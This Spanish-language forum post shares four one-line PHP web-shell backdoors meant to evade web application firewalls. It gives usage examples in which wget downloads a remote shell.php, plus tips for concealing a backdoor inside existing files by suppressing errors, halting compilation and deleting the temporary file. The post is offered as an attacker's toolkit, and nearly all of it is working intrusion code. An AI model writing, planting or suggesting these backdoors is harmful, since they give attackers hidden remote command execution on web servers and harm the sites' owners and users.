¡Hola a todos! ¿Cómo les va?
Estoy al tanto de la creciente necesidad de backdoors fáciles de camuflar y con capacidades para evadir
Web
Application
Firewalls —WAF, de ahora en más—. Por lo cual, mediante esta publicación, les ofrezco una lista de backdoors de tan solo una línea, capaces de evadir WAF.
Advertencia: En esta lista no incluiré funciones obsoletas a partir de PHP 7.2.Referencia: Los enlaces son solo para miembros.
Registrate o
iniciá sesión1. copy() - Requiere: allow_url_fopen. (nunca antes la vi, se me ocurrió recientemente)<?php copy($_GET['s'], $_GET['d']);
Citar
¿CÓMO UTILIZAR?
file.php?s=Los enlaces son solo para miembros. Registrate o iniciá sesión
2. include() - Requiere: allow_url_fopen.<?php include($_GET['x']);
Citar
¿CÓMO UTILIZAR?
file.php?x=Los enlaces son solo para miembros. Registrate o iniciá sesión
Advertencia: Obtuve mejores resultados utilizando un servidor HTTP sin PHP, por ejemplo, en Python.
3. popen() - DETECTADA POR Los enlaces son solo para miembros. Registrate o iniciá sesión.<?php echo fread(popen($_GET['c'],'r'),1024*4);
Citar
¿CÓMO UTILIZAR?
file.php?c=wget -O shell.php Los enlaces son solo para miembros. Registrate o iniciá sesión
Advertencia: Aún siendo detectada, es mi favorita y funciona excelente.
4. file_put_contents()<?php file_put_contents('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; unlink("_c.php");
Citar
¿CÓMO UTILIZAR?
file.php?c=system('wget -O shell.php Los enlaces son solo para miembros. Registrate o iniciá sesión');
Advertencia: unlink() es opcional, pues yo lo uso para no dejar un archivo con el código ejecutado.
SUGERENCIASCitar
1. Se puede anteponer @ en alguna función, para así evitar imprimir los errores de la misma. Esto es útil a la hora de esconder el backdoor dentro de un archivo.
2. Se puede reemplazar $_GET por $_REQUEST, así aceptando GET, POST y COOKIE como métodos de entrada.
3. Se puede utilizar isset() y __halt_compiler() para obtener una salida más limpia a la hora de esconder el backdoor dentro de un archivo.
Citar<?php if(isset($_GET['c']))echo fread(popen($_GET['c'],'r'),1024*4); __halt_compiler();
4. El tag de cierre de PHP no es necesario en un archivo que solo contenga código. Así mismo, se puede utilizar short tags, si éstos están habilitados.
Pues nada más... En realidad, es un post sencillito, pero seguramente a alguien le será útil

Salutes,
Nobody.